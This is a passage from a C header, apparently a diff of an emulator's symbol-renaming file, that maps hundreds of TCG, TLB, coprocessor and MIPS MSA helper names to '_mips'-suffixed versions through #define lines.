tb_page_remove_mips +#define tb_phys_hash_func tb_phys_hash_func_mips +#define tb_phys_invalidate tb_phys_invalidate_mips +#define tb_reset_jump tb_reset_jump_mips +#define tb_set_jmp_target tb_set_jmp_target_mips +#define tcg_accel_class_init tcg_accel_class_init_mips +#define tcg_accel_type tcg_accel_type_mips +#define tcg_add_param_i32 tcg_add_param_i32_mips +#define tcg_add_param_i64 tcg_add_param_i64_mips +#define tcg_add_target_add_op_defs tcg_add_target_add_op_defs_mips +#define tcg_allowed tcg_allowed_mips +#define tcg_canonicalize_memop tcg_canonicalize_memop_mips +#define tcg_commit tcg_commit_mips +#define tcg_cond_to_jcc tcg_cond_to_jcc_mips +#define tcg_constant_folding tcg_constant_folding_mips +#define tcg_const_i32 tcg_const_i32_mips +#define tcg_const_i64 tcg_const_i64_mips +#define tcg_const_local_i32 tcg_const_local_i32_mips +#define tcg_const_local_i64 tcg_const_local_i64_mips +#define tcg_context_init tcg_context_init_mips +#define tcg_cpu_address_space_init tcg_cpu_address_space_init_mips +#define tcg_cpu_exec tcg_cpu_exec_mips +#define tcg_current_code_size tcg_current_code_size_mips +#define tcg_dump_info tcg_dump_info_mips +#define tcg_dump_ops tcg_dump_ops_mips +#define tcg_exec_all tcg_exec_all_mips +#define tcg_find_helper tcg_find_helper_mips +#define tcg_func_start tcg_func_start_mips +#define tcg_gen_abs_i32 tcg_gen_abs_i32_mips +#define tcg_gen_add2_i32 tcg_gen_add2_i32_mips +#define tcg_gen_add_i32 tcg_gen_add_i32_mips +#define tcg_gen_add_i64 tcg_gen_add_i64_mips +#define tcg_gen_addi_i32 tcg_gen_addi_i32_mips +#define tcg_gen_addi_i64 tcg_gen_addi_i64_mips +#define tcg_gen_andc_i32 tcg_gen_andc_i32_mips +#define tcg_gen_and_i32 tcg_gen_and_i32_mips +#define tcg_gen_and_i64 tcg_gen_and_i64_mips +#define tcg_gen_andi_i32 tcg_gen_andi_i32_mips +#define tcg_gen_andi_i64 tcg_gen_andi_i64_mips +#define tcg_gen_br tcg_gen_br_mips +#define tcg_gen_brcond_i32 tcg_gen_brcond_i32_mips +#define tcg_gen_brcond_i64 tcg_gen_brcond_i64_mips +#define tcg_gen_brcondi_i32 tcg_gen_brcondi_i32_mips +#define tcg_gen_bswap16_i32 tcg_gen_bswap16_i32_mips +#define tcg_gen_bswap32_i32 tcg_gen_bswap32_i32_mips +#define tcg_gen_callN tcg_gen_callN_mips +#define tcg_gen_code tcg_gen_code_mips +#define tcg_gen_code_common tcg_gen_code_common_mips +#define tcg_gen_code_search_pc tcg_gen_code_search_pc_mips +#define tcg_gen_concat_i32_i64 tcg_gen_concat_i32_i64_mips +#define tcg_gen_debug_insn_start tcg_gen_debug_insn_start_mips +#define tcg_gen_deposit_i32 tcg_gen_deposit_i32_mips +#define tcg_gen_exit_tb tcg_gen_exit_tb_mips +#define tcg_gen_ext16s_i32 tcg_gen_ext16s_i32_mips +#define tcg_gen_ext16u_i32 tcg_gen_ext16u_i32_mips +#define tcg_gen_ext32s_i64 tcg_gen_ext32s_i64_mips +#define tcg_gen_ext32u_i64 tcg_gen_ext32u_i64_mips +#define tcg_gen_ext8s_i32 tcg_gen_ext8s_i32_mips +#define tcg_gen_ext8u_i32 tcg_gen_ext8u_i32_mips +#define tcg_gen_ext_i32_i64 tcg_gen_ext_i32_i64_mips +#define tcg_gen_extu_i32_i64 tcg_gen_extu_i32_i64_mips +#define tcg_gen_goto_tb tcg_gen_goto_tb_mips +#define tcg_gen_ld_i32 tcg_gen_ld_i32_mips +#define tcg_gen_ld_i64 tcg_gen_ld_i64_mips +#define tcg_gen_ldst_op_i32 tcg_gen_ldst_op_i32_mips +#define tcg_gen_ldst_op_i64 tcg_gen_ldst_op_i64_mips +#define tcg_gen_movcond_i32 tcg_gen_movcond_i32_mips +#define tcg_gen_movcond_i64 tcg_gen_movcond_i64_mips +#define tcg_gen_mov_i32 tcg_gen_mov_i32_mips +#define tcg_gen_mov_i64 tcg_gen_mov_i64_mips +#define tcg_gen_movi_i32 tcg_gen_movi_i32_mips +#define tcg_gen_movi_i64 tcg_gen_movi_i64_mips +#define tcg_gen_mul_i32 tcg_gen_mul_i32_mips +#define tcg_gen_muls2_i32 tcg_gen_muls2_i32_mips +#define tcg_gen_mulu2_i32 tcg_gen_mulu2_i32_mips +#define tcg_gen_neg_i32 tcg_gen_neg_i32_mips +#define tcg_gen_neg_i64 tcg_gen_neg_i64_mips +#define tcg_gen_not_i32 tcg_gen_not_i32_mips +#define tcg_gen_op0 tcg_gen_op0_mips +#define tcg_gen_op1i tcg_gen_op1i_mips +#define tcg_gen_op2_i32 tcg_gen_op2_i32_mips +#define tcg_gen_op2_i64 tcg_gen_op2_i64_mips +#define tcg_gen_op2i_i32 tcg_gen_op2i_i32_mips +#define tcg_gen_op2i_i64 tcg_gen_op2i_i64_mips +#define tcg_gen_op3_i32 tcg_gen_op3_i32_mips +#define tcg_gen_op3_i64 tcg_gen_op3_i64_mips +#define tcg_gen_op4_i32 tcg_gen_op4_i32_mips +#define tcg_gen_op4i_i32 tcg_gen_op4i_i32_mips +#define tcg_gen_op4ii_i32 tcg_gen_op4ii_i32_mips +#define tcg_gen_op4ii_i64 tcg_gen_op4ii_i64_mips +#define tcg_gen_op5ii_i32 tcg_gen_op5ii_i32_mips +#define tcg_gen_op6_i32 tcg_gen_op6_i32_mips +#define tcg_gen_op6i_i32 tcg_gen_op6i_i32_mips +#define tcg_gen_op6i_i64 tcg_gen_op6i_i64_mips +#define tcg_gen_orc_i32 tcg_gen_orc_i32_mips +#define tcg_gen_or_i32 tcg_gen_or_i32_mips +#define tcg_gen_or_i64 tcg_gen_or_i64_mips +#define tcg_gen_ori_i32 tcg_gen_ori_i32_mips +#define tcg_gen_qemu_ld_i32 tcg_gen_qemu_ld_i32_mips +#define tcg_gen_qemu_ld_i64 tcg_gen_qemu_ld_i64_mips +#define tcg_gen_qemu_st_i32 tcg_gen_qemu_st_i32_mips +#define tcg_gen_qemu_st_i64 tcg_gen_qemu_st_i64_mips +#define tcg_gen_rotl_i32 tcg_gen_rotl_i32_mips +#define tcg_gen_rotli_i32 tcg_gen_rotli_i32_mips +#define tcg_gen_rotr_i32 tcg_gen_rotr_i32_mips +#define tcg_gen_rotri_i32 tcg_gen_rotri_i32_mips +#define tcg_gen_sar_i32 tcg_gen_sar_i32_mips +#define tcg_gen_sari_i32 tcg_gen_sari_i32_mips +#define tcg_gen_setcond_i32 tcg_gen_setcond_i32_mips +#define tcg_gen_shl_i32 tcg_gen_shl_i32_mips +#define tcg_gen_shl_i64 tcg_gen_shl_i64_mips +#define tcg_gen_shli_i32 tcg_gen_shli_i32_mips +#define tcg_gen_shli_i64 tcg_gen_shli_i64_mips +#define tcg_gen_shr_i32 tcg_gen_shr_i32_mips +#define tcg_gen_shifti_i64 tcg_gen_shifti_i64_mips +#define tcg_gen_shr_i64 tcg_gen_shr_i64_mips +#define tcg_gen_shri_i32 tcg_gen_shri_i32_mips +#define tcg_gen_shri_i64 tcg_gen_shri_i64_mips +#define tcg_gen_st_i32 tcg_gen_st_i32_mips +#define tcg_gen_st_i64 tcg_gen_st_i64_mips +#define tcg_gen_sub_i32 tcg_gen_sub_i32_mips +#define tcg_gen_sub_i64 tcg_gen_sub_i64_mips +#define tcg_gen_subi_i32 tcg_gen_subi_i32_mips +#define tcg_gen_trunc_i64_i32 tcg_gen_trunc_i64_i32_mips +#define tcg_gen_trunc_shr_i64_i32 tcg_gen_trunc_shr_i64_i32_mips +#define tcg_gen_xor_i32 tcg_gen_xor_i32_mips +#define tcg_gen_xor_i64 tcg_gen_xor_i64_mips +#define tcg_gen_xori_i32 tcg_gen_xori_i32_mips +#define tcg_get_arg_str_i32 tcg_get_arg_str_i32_mips +#define tcg_get_arg_str_i64 tcg_get_arg_str_i64_mips +#define tcg_get_arg_str_idx tcg_get_arg_str_idx_mips +#define tcg_global_mem_new_i32 tcg_global_mem_new_i32_mips +#define tcg_global_mem_new_i64 tcg_global_mem_new_i64_mips +#define tcg_global_mem_new_internal tcg_global_mem_new_internal_mips +#define tcg_global_reg_new_i32 tcg_global_reg_new_i32_mips +#define tcg_global_reg_new_i64 tcg_global_reg_new_i64_mips +#define tcg_global_reg_new_internal tcg_global_reg_new_internal_mips +#define tcg_handle_interrupt tcg_handle_interrupt_mips +#define tcg_init tcg_init_mips +#define tcg_invert_cond tcg_invert_cond_mips +#define tcg_la_bb_end tcg_la_bb_end_mips +#define tcg_la_br_end tcg_la_br_end_mips +#define tcg_la_func_end tcg_la_func_end_mips +#define tcg_liveness_analysis tcg_liveness_analysis_mips +#define tcg_malloc tcg_malloc_mips +#define tcg_malloc_internal tcg_malloc_internal_mips +#define tcg_op_defs_org tcg_op_defs_org_mips +#define tcg_opt_gen_mov tcg_opt_gen_mov_mips +#define tcg_opt_gen_movi tcg_opt_gen_movi_mips +#define tcg_optimize tcg_optimize_mips +#define tcg_out16 tcg_out16_mips +#define tcg_out32 tcg_out32_mips +#define tcg_out64 tcg_out64_mips +#define tcg_out8 tcg_out8_mips +#define tcg_out_addi tcg_out_addi_mips +#define tcg_out_branch tcg_out_branch_mips +#define tcg_out_brcond32 tcg_out_brcond32_mips +#define tcg_out_brcond64 tcg_out_brcond64_mips +#define tcg_out_bswap32 tcg_out_bswap32_mips +#define tcg_out_bswap64 tcg_out_bswap64_mips +#define tcg_out_call tcg_out_call_mips +#define tcg_out_cmp tcg_out_cmp_mips +#define tcg_out_ext16s tcg_out_ext16s_mips +#define tcg_out_ext16u tcg_out_ext16u_mips +#define tcg_out_ext32s tcg_out_ext32s_mips +#define tcg_out_ext32u tcg_out_ext32u_mips +#define tcg_out_ext8s tcg_out_ext8s_mips +#define tcg_out_ext8u tcg_out_ext8u_mips +#define tcg_out_jmp tcg_out_jmp_mips +#define tcg_out_jxx tcg_out_jxx_mips +#define tcg_out_label tcg_out_label_mips +#define tcg_out_ld tcg_out_ld_mips +#define tcg_out_modrm tcg_out_modrm_mips +#define tcg_out_modrm_offset tcg_out_modrm_offset_mips +#define tcg_out_modrm_sib_offset tcg_out_modrm_sib_offset_mips +#define tcg_out_mov tcg_out_mov_mips +#define tcg_out_movcond32 tcg_out_movcond32_mips +#define tcg_out_movcond64 tcg_out_movcond64_mips +#define tcg_out_movi tcg_out_movi_mips +#define tcg_out_op tcg_out_op_mips +#define tcg_out_pop tcg_out_pop_mips +#define tcg_out_push tcg_out_push_mips +#define tcg_out_qemu_ld tcg_out_qemu_ld_mips +#define tcg_out_qemu_ld_direct tcg_out_qemu_ld_direct_mips +#define tcg_out_qemu_ld_slow_path tcg_out_qemu_ld_slow_path_mips +#define tcg_out_qemu_st tcg_out_qemu_st_mips +#define tcg_out_qemu_st_direct tcg_out_qemu_st_direct_mips +#define tcg_out_qemu_st_slow_path tcg_out_qemu_st_slow_path_mips +#define tcg_out_reloc tcg_out_reloc_mips +#define tcg_out_rolw_8 tcg_out_rolw_8_mips +#define tcg_out_setcond32 tcg_out_setcond32_mips +#define tcg_out_setcond64 tcg_out_setcond64_mips +#define tcg_out_shifti tcg_out_shifti_mips +#define tcg_out_st tcg_out_st_mips +#define tcg_out_tb_finalize tcg_out_tb_finalize_mips +#define tcg_out_tb_init tcg_out_tb_init_mips +#define tcg_out_tlb_load tcg_out_tlb_load_mips +#define tcg_out_vex_modrm tcg_out_vex_modrm_mips +#define tcg_patch32 tcg_patch32_mips +#define tcg_patch8 tcg_patch8_mips +#define tcg_pcrel_diff tcg_pcrel_diff_mips +#define tcg_pool_reset tcg_pool_reset_mips +#define tcg_prologue_init tcg_prologue_init_mips +#define tcg_ptr_byte_diff tcg_ptr_byte_diff_mips +#define tcg_reg_alloc tcg_reg_alloc_mips +#define tcg_reg_alloc_bb_end tcg_reg_alloc_bb_end_mips +#define tcg_reg_alloc_call tcg_reg_alloc_call_mips +#define tcg_reg_alloc_mov tcg_reg_alloc_mov_mips +#define tcg_reg_alloc_movi tcg_reg_alloc_movi_mips +#define tcg_reg_alloc_op tcg_reg_alloc_op_mips +#define tcg_reg_alloc_start tcg_reg_alloc_start_mips +#define tcg_reg_free tcg_reg_free_mips +#define tcg_reg_sync tcg_reg_sync_mips +#define tcg_set_frame tcg_set_frame_mips +#define tcg_set_nop tcg_set_nop_mips +#define tcg_swap_cond tcg_swap_cond_mips +#define tcg_target_callee_save_regs tcg_target_callee_save_regs_mips +#define tcg_target_call_iarg_regs tcg_target_call_iarg_regs_mips +#define tcg_target_call_oarg_regs tcg_target_call_oarg_regs_mips +#define tcg_target_const_match tcg_target_const_match_mips +#define tcg_target_init tcg_target_init_mips +#define tcg_target_qemu_prologue tcg_target_qemu_prologue_mips +#define tcg_target_reg_alloc_order tcg_target_reg_alloc_order_mips +#define tcg_temp_alloc tcg_temp_alloc_mips +#define tcg_temp_free_i32 tcg_temp_free_i32_mips +#define tcg_temp_free_i64 tcg_temp_free_i64_mips +#define tcg_temp_free_internal tcg_temp_free_internal_mips +#define tcg_temp_local_new_i32 tcg_temp_local_new_i32_mips +#define tcg_temp_local_new_i64 tcg_temp_local_new_i64_mips +#define tcg_temp_new_i32 tcg_temp_new_i32_mips +#define tcg_temp_new_i64 tcg_temp_new_i64_mips +#define tcg_temp_new_internal tcg_temp_new_internal_mips +#define tcg_temp_new_internal_i32 tcg_temp_new_internal_i32_mips +#define tcg_temp_new_internal_i64 tcg_temp_new_internal_i64_mips +#define tdb_hash tdb_hash_mips +#define teecr_write teecr_write_mips +#define teehbr_access teehbr_access_mips +#define temp_allocate_frame temp_allocate_frame_mips +#define temp_dead temp_dead_mips +#define temps_are_copies temps_are_copies_mips +#define temp_save temp_save_mips +#define temp_sync temp_sync_mips +#define tgen_arithi tgen_arithi_mips +#define tgen_arithr tgen_arithr_mips +#define thumb2_logic_op thumb2_logic_op_mips +#define ti925t_initfn ti925t_initfn_mips +#define tlb_add_large_page tlb_add_large_page_mips +#define tlb_flush_entry tlb_flush_entry_mips +#define tlbi_aa64_asid_is_write tlbi_aa64_asid_is_write_mips +#define tlbi_aa64_asid_write tlbi_aa64_asid_write_mips +#define tlbi_aa64_vaa_is_write tlbi_aa64_vaa_is_write_mips +#define tlbi_aa64_vaa_write tlbi_aa64_vaa_write_mips +#define tlbi_aa64_va_is_write tlbi_aa64_va_is_write_mips +#define tlbi_aa64_va_write tlbi_aa64_va_write_mips +#define tlbiall_is_write tlbiall_is_write_mips +#define tlbiall_write tlbiall_write_mips +#define tlbiasid_is_write tlbiasid_is_write_mips +#define tlbiasid_write tlbiasid_write_mips +#define tlbimvaa_is_write tlbimvaa_is_write_mips +#define tlbimvaa_write tlbimvaa_write_mips +#define tlbimva_is_write tlbimva_is_write_mips +#define tlbimva_write tlbimva_write_mips +#define tlb_is_dirty_ram tlb_is_dirty_ram_mips +#define tlb_protect_code tlb_protect_code_mips +#define tlb_reset_dirty_range tlb_reset_dirty_range_mips +#define tlb_reset_dirty_range_all tlb_reset_dirty_range_all_mips +#define tlb_set_dirty tlb_set_dirty_mips +#define tlb_set_dirty1 tlb_set_dirty1_mips +#define tlb_unprotect_code_phys tlb_unprotect_code_phys_mips +#define tlb_vaddr_to_host tlb_vaddr_to_host_mips +#define token_get_type token_get_type_mips +#define token_get_value token_get_value_mips +#define token_is_escape token_is_escape_mips +#define token_is_keyword token_is_keyword_mips +#define token_is_operator token_is_operator_mips +#define tokens_append_from_iter tokens_append_from_iter_mips +#define to_qiv to_qiv_mips +#define to_qov to_qov_mips +#define tosa_init tosa_init_mips +#define tosa_machine_init tosa_machine_init_mips +#define tswap32 tswap32_mips +#define tswap64 tswap64_mips +#define type_class_get_size type_class_get_size_mips +#define type_get_by_name type_get_by_name_mips +#define type_get_parent type_get_parent_mips +#define type_has_parent type_has_parent_mips +#define type_initialize type_initialize_mips +#define type_initialize_interface type_initialize_interface_mips +#define type_is_ancestor type_is_ancestor_mips +#define type_new type_new_mips +#define type_object_get_size type_object_get_size_mips +#define type_register_internal type_register_internal_mips +#define type_table_add type_table_add_mips +#define type_table_get type_table_get_mips +#define type_table_lookup type_table_lookup_mips +#define uint16_to_float32 uint16_to_float32_mips +#define uint16_to_float64 uint16_to_float64_mips +#define uint32_to_float32 uint32_to_float32_mips +#define uint32_to_float64 uint32_to_float64_mips +#define uint64_to_float128 uint64_to_float128_mips +#define uint64_to_float32 uint64_to_float32_mips +#define uint64_to_float64 uint64_to_float64_mips +#define unassigned_io_ops unassigned_io_ops_mips +#define unassigned_io_read unassigned_io_read_mips +#define unassigned_io_write unassigned_io_write_mips +#define unassigned_mem_accepts unassigned_mem_accepts_mips +#define unassigned_mem_ops unassigned_mem_ops_mips +#define unassigned_mem_read unassigned_mem_read_mips +#define unassigned_mem_write unassigned_mem_write_mips +#define update_spsel update_spsel_mips +#define v6_cp_reginfo v6_cp_reginfo_mips +#define v6k_cp_reginfo v6k_cp_reginfo_mips +#define v7_cp_reginfo v7_cp_reginfo_mips +#define v7mp_cp_reginfo v7mp_cp_reginfo_mips +#define v7m_pop v7m_pop_mips +#define v7m_push v7m_push_mips +#define v8_cp_reginfo v8_cp_reginfo_mips +#define v8_el2_cp_reginfo v8_el2_cp_reginfo_mips +#define v8_el3_cp_reginfo v8_el3_cp_reginfo_mips +#define v8_el3_no_el2_cp_reginfo v8_el3_no_el2_cp_reginfo_mips +#define vapa_cp_reginfo vapa_cp_reginfo_mips +#define vbar_write vbar_write_mips +#define vfp_exceptbits_from_host vfp_exceptbits_from_host_mips +#define vfp_exceptbits_to_host vfp_exceptbits_to_host_mips +#define vfp_get_fpcr vfp_get_fpcr_mips +#define vfp_get_fpscr vfp_get_fpscr_mips +#define vfp_get_fpsr vfp_get_fpsr_mips +#define vfp_reg_offset vfp_reg_offset_mips +#define vfp_set_fpcr vfp_set_fpcr_mips +#define vfp_set_fpscr vfp_set_fpscr_mips +#define vfp_set_fpsr vfp_set_fpsr_mips +#define visit_end_implicit_struct visit_end_implicit_struct_mips +#define visit_end_list visit_end_list_mips +#define visit_end_struct visit_end_struct_mips +#define visit_end_union visit_end_union_mips +#define visit_get_next_type visit_get_next_type_mips +#define visit_next_list visit_next_list_mips +#define visit_optional visit_optional_mips +#define visit_start_implicit_struct visit_start_implicit_struct_mips +#define visit_start_list visit_start_list_mips +#define visit_start_struct visit_start_struct_mips +#define visit_start_union visit_start_union_mips +#define vmsa_cp_reginfo vmsa_cp_reginfo_mips +#define vmsa_tcr_el1_write vmsa_tcr_el1_write_mips +#define vmsa_ttbcr_raw_write vmsa_ttbcr_raw_write_mips +#define vmsa_ttbcr_reset vmsa_ttbcr_reset_mips +#define vmsa_ttbcr_write vmsa_ttbcr_write_mips +#define vmsa_ttbr_write vmsa_ttbr_write_mips +#define write_cpustate_to_list write_cpustate_to_list_mips +#define write_list_to_cpustate write_list_to_cpustate_mips +#define write_raw_cp_reg write_raw_cp_reg_mips +#define X86CPURegister32_lookup X86CPURegister32_lookup_mips +#define x86_op_defs x86_op_defs_mips +#define xpsr_read xpsr_read_mips +#define xpsr_write xpsr_write_mips +#define xscale_cpar_write xscale_cpar_write_mips +#define xscale_cp_reginfo xscale_cp_reginfo_mips +#define cpu_mips_exec cpu_mips_exec_mips +#define cpu_mips_get_random cpu_mips_get_random_mips +#define cpu_mips_get_count cpu_mips_get_count_mips +#define cpu_mips_store_count cpu_mips_store_count_mips +#define cpu_mips_store_compare cpu_mips_store_compare_mips +#define cpu_mips_start_count cpu_mips_start_count_mips +#define cpu_mips_stop_count cpu_mips_stop_count_mips +#define mips_machine_init mips_machine_init_mips +#define cpu_mips_kseg0_to_phys cpu_mips_kseg0_to_phys_mips +#define cpu_mips_phys_to_kseg0 cpu_mips_phys_to_kseg0_mips +#define cpu_mips_kvm_um_phys_to_kseg0 cpu_mips_kvm_um_phys_to_kseg0_mips +#define mips_cpu_register_types mips_cpu_register_types_mips +#define cpu_mips_init cpu_mips_init_mips +#define cpu_state_reset cpu_state_reset_mips +#define helper_msa_andi_b helper_msa_andi_b_mips +#define helper_msa_ori_b helper_msa_ori_b_mips +#define helper_msa_nori_b helper_msa_nori_b_mips +#define helper_msa_xori_b helper_msa_xori_b_mips +#define helper_msa_bmnzi_b helper_msa_bmnzi_b_mips +#define helper_msa_bmzi_b helper_msa_bmzi_b_mips +#define helper_msa_bseli_b helper_msa_bseli_b_mips +#define helper_msa_shf_df helper_msa_shf_df_mips +#define helper_msa_and_v helper_msa_and_v_mips +#define helper_msa_or_v helper_msa_or_v_mips +#define helper_msa_nor_v helper_msa_nor_v_mips +#define helper_msa_xor_v helper_msa_xor_v_mips +#define helper_msa_bmnz_v helper_msa_bmnz_v_mips +#define helper_msa_bmz_v helper_msa_bmz_v_mips +#define helper_msa_bsel_v helper_msa_bsel_v_mips +#define helper_msa_addvi_df helper_msa_addvi_df_mips +#define helper_msa_subvi_df helper_msa_subvi_df_mips +#define helper_msa_ceqi_df helper_msa_ceqi_df_mips +#define helper_msa_clei_s_df helper_msa_clei_s_df_mips +#define helper_msa_clei_u_df helper_msa_clei_u_df_mips +#define helper_msa_clti_s_df helper_msa_clti_s_df_mips +#define helper_msa_clti_u_df helper_msa_clti_u_df_mips +#define helper_msa_maxi_s_df helper_msa_maxi_s_df_mips +#define helper_msa_maxi_u_df helper_msa_maxi_u_df_mips +#define helper_msa_mini_s_df helper_msa_mini_s_df_mips +#define helper_msa_mini_u_df helper_msa_mini_u_df_mips +#define helper_msa_ldi_df helper_msa_ldi_df_mips +#define helper_msa_slli_df helper_msa_slli_df_mips +#define helper_msa_srai_df helper_msa_srai_df_mips +#define helper_msa_srli_df helper_msa_srli_df_mips +#define helper_msa_bclri_df helper_msa_bclri_df_mips +#define helper_msa_bseti_df helper_msa_bseti_df_mips +#define helper_msa_bnegi_df helper_msa_bnegi_df_mips +#define helper_msa_sat_s_df helper_msa_sat_s_df_mips +#define helper_msa_sat_u_df helper_msa_sat_u_df_mips +#define helper_msa_srari_df helper_msa_srari_df_mips +#define helper_msa_srlri_df helper_msa_srlri_df_mips +#define helper_msa_binsli_df helper_msa_binsli_df_mips +#define helper_msa_binsri_df helper_msa_binsri_df_mips +#define helper_msa_sll_df helper_msa_sll_df_mips +#define helper_msa_sra_df helper_msa_sra_df_mips +#define helper_msa_srl_df helper_msa_srl_df_mips +#define helper_msa_bclr_df helper_msa_bclr_df_mips +#define helper_msa_bset_df helper_msa_bset_df_mips +#define helper_msa_bneg_df helper_msa_bneg_df_mips +#define helper_msa_addv_df helper_msa_addv_df_mips +#define helper_msa_subv_df helper_msa_subv_df_mips +#define helper_msa_max_s_df helper_msa_max_s_df_mips +#define helper_msa_max_u_df helper_msa_max_u_df_mips +#define helper_msa_min_s_df helper_msa_min_s_df_mips +#define helper_msa_min_u_df helper_msa_min_u_df_mips +#define helper_msa_max_a_df helper_msa_max_a_df_mips +#define helper_msa_min_a_df helper_msa_min_a_df_mips +#define helper_msa_ceq_df helper_msa_ceq_df_mips +#define helper_msa_clt_s_df helper_msa_clt_s_df_mips +#define helper_msa_clt_u_df helper_msa_clt_u_df_mips +#define helper_msa_cle_s_df helper_msa_cle_s_df_mips +#define helper_msa_cle_u_df helper_msa_cle_u_df_mips +#define helper_msa_add_a_df helper_msa_add_a_df_mips +#define helper_msa_adds_a_df helper_msa_adds_a_df_mips +#define helper_msa_adds_s_df helper_msa_adds_s_df_mips +#define helper_msa_adds_u_df helper_msa_adds_u_df_mips +#define helper_msa_ave_s_df helper_msa_ave_s_df_mips +#define helper_msa_ave_u_df helper_msa_ave_u_df_mips +#define helper_msa_aver_s_df helper_msa_aver_s_df_mips +#define helper_msa_aver_u_df helper_msa_aver_u_df_mips +#define helper_msa_subs_s_df helper_msa_subs_s_df_mips +#define helper_msa_subs_u_df helper_msa_subs_u_df_mips +#define helper_msa_subsus_u_df helper_msa_subsus_u_df_mips +#define helper_msa_subsuu_s_df helper_msa_subsuu_s_df_mips +#define helper_msa_asub_s_df helper_msa_asub_s_df_mips +#define helper_msa_asub_u_df helper_msa_asub_u_df_mips +#define helper_msa_mulv_df helper_msa_mulv_df_mips +#define helper_msa_div_s_df helper_msa_div_s_df_mips +#define helper_msa_div_u_df helper_msa_div_u_df_mips +#define helper_msa_mod_s_df helper_msa_mod_s_df_mips +#define helper_msa_mod_u_df helper_msa_mod_u_df_mips +#define helper_msa_dotp_s_df helper_msa_dotp_s_df_mips +#define helper_msa_dotp_u_df helper_msa_dotp_u_df_mips +#define helper_msa_srar_df helper_msa_srar_df_mips +#define helper_msa_srlr_df helper_msa_srlr_df_mips +#define helper_msa_hadd_s_df helper_msa_hadd_s_df_mips +#define helper_msa_hadd_u_df helper_msa_hadd_u_df_mips +#define helper_msa_hsub_s_df helper_msa_hsub_s_df_mips +#define helper_msa_hsub_u_df helper_msa_hsub_u_df_mips +#define helper_msa_mul_q_df helper_msa_mul_q_df_mips +#define helper_msa_mulr_q_df helper_msa_mulr_q_df_mips +#define helper_msa_sld_df helper_msa_sld_df_mips +#define helper_msa_maddv_df helper_msa_maddv_df_mips +#define helper_msa_msubv_df helper_msa_msubv_df_mips +#define helper_msa_dpadd_s_df helper_msa_dpadd_s_df_mips +#define helper_msa_dpadd_u_df helper_msa_dpadd_u_df_mips +#define helper_msa_dpsub_s_df helper_msa_dpsub_s_df_mips +#define helper_msa_dpsub_u_df helper_msa_dpsub_u_df_mips +#define helper_msa_binsl_df helper_msa_binsl_df_mips +#define helper_msa_binsr_df helper_msa_binsr_df_mips +#define helper_msa_madd_q_df helper_msa_madd_q_df_mips +#define helper_msa_msub_q_df helper_msa_msub_q_df_mips +#define helper_msa_maddr_q_df helper_msa_maddr_q_df_mips +#define helper_msa_msubr_q_df helper_msa_msubr_q_df_mips +#define helper_msa_splat_df helper_msa_splat_df_mips +#define helper_msa_pckev_df helper_msa_pckev_df_mips +#define helper_msa_pckod_df helper_msa_pckod_df_mips +#define helper_msa_ilvl_df helper_msa_ilvl_df_mips +#define helper_msa_ilvr_df helper_msa_ilvr_df_mips +#define helper_msa_ilvev_df helper_msa_ilvev_df_mips +#define helper_msa_ilvod_df helper_msa_ilvod_df_mips +#define helper_msa_vshf_df helper_msa_vshf_df_mips +#define helper_msa_sldi_df helper_msa_sldi_df_mips +#define helper_msa_splati_df helper_msa_splati_df_mips +#define helper_msa_copy_s_df helper_msa_copy_s_df_mips +#define helper_msa_copy_u_df helper_msa_copy_u_df_mips +#define helper_msa_insert_df helper_msa_insert_df_mips +#define helper_msa_insve_df helper_msa_insve_df_mips +#define helper_msa_ctcmsa helper_msa_ctcmsa_mips +#define helper_msa_cfcmsa helper_msa_cfcmsa_mips +#define helper_msa_move_v helper_msa_move_v_mips +#define helper_msa_fill_df helper_msa_fill_df_mips +#define helper_msa_nlzc_df helper_msa_nlzc_df_mips +#define helper_msa_nloc_df helper_msa_nloc_df_mips +#define helper_msa_pcnt_df helper_msa_pcnt_df_mips +#define helper_msa_fcaf_df helper_msa_fcaf_df_mips +#define helper_msa_fcun_df helper_msa_fcun_df_mips +#define helper_msa_fceq_df helper_msa_fceq_df_mips +#define helper_msa_fcueq_df helper_msa_fcueq_df_mips +#define helper_msa_fclt_df helper_msa_fclt_df_mips +#define helper_msa_fcult_df helper_msa_fcult_df_mips +#define helper_msa_fcle_df helper_msa_fcle_df_mips +#define helper_msa_fcule_df helper_msa_fcule_df_mips +#define helper_msa_fsaf_df helper_msa_fsaf_df_mips +#define helper_msa_fsun_df helper_msa_fsun_df_mips +#define helper_msa_fseq_df helper_msa_fseq_df_mips +#define helper_msa_fsueq_df helper_msa_fsueq_df_mips +#define helper_msa_fslt_df helper_msa_fslt_df_mips +#define helper_msa_fsult_df helper_msa_fsult_df_mips +#define helper_msa_fsle_df helper_msa_fsle_df_mips +#define helper_msa_fsule_df helper_msa_fsule_df_mips +#define helper_msa_fcor_df helper_msa_fcor_df_mips +#define helper_msa_fcune_df helper_msa_fcune_df_mips +#define helper_msa_fcne_df helper_msa_fcne_df_mips +#define helper_msa_fsor_df helper_msa_fsor_df_mips +#define helper_msa_fsune_df helper_msa_fsune_df_mips +#define helper_msa_fsne_df helper_msa_fsne_df_mips +#define helper_msa_fadd_df helper_msa_fadd_df_mips +#define helper_msa_fsub_df helper_msa_fsub_df_mips +#define helper_msa_fmul_df helper_msa_fmul_df_mips +#define helper_msa_fdiv_df helper_msa_fdiv_df_mips +#define helper_msa_fmadd_df helper_msa_fmadd_df_mips +#define helper_msa_fmsub_df helper_msa_fmsub_df_mips +#define helper_msa_fexp2_df helper_msa_fexp2_df_mips +#define helper_msa_fexdo_df helper_msa_fexdo_df_mips +#define helper_msa_ftq_df helper_msa_ftq_df_mips +#define helper_msa_fmin_df helper_msa_fmin_df_mips +#define helper_msa_fmin_a_df helper_msa_fmin_a_df_mips +#define helper_msa_fmax_df helper_msa_fmax_df_mips +#define helper_msa_fmax_a_df helper_msa_fmax_a_df_mips +#define helper_msa_fclass_df helper_msa_fclass_df_mips +#define helper_msa_ftrunc_s_df helper_msa_ftrunc_s_df_mips +#define helper_msa_ftrunc_u_df helper_msa_ftrunc_u_df_mips +#define helper_msa_fsqrt_df helper_msa_fsqrt_df_mips +#define helper_msa_frsqrt_df helper_msa_frsqrt_df_mips +#define helper_msa_frcp_df helper_msa_frcp_df_mips +#define helper_msa_frint_df helper_msa_frint_df_mips +#define helper_msa_flog2_df helper_msa_flog2_df_mips +#define helper_msa_fexupl_df helper_msa_fexupl_df_mips +#define helper_msa_fexupr_df helper_msa_fexupr_df_mips +#define helper_msa_ffql_df helper_msa_ffql_df_mips +#define helper_msa_ffqr_df helper_msa_ffqr_df_mips +#define helper_msa_ftint_s_df helper_msa_ftint_s_df_mips +#define helper_msa_ftint_u_df helper_msa_ftint_u_df_mips +#define 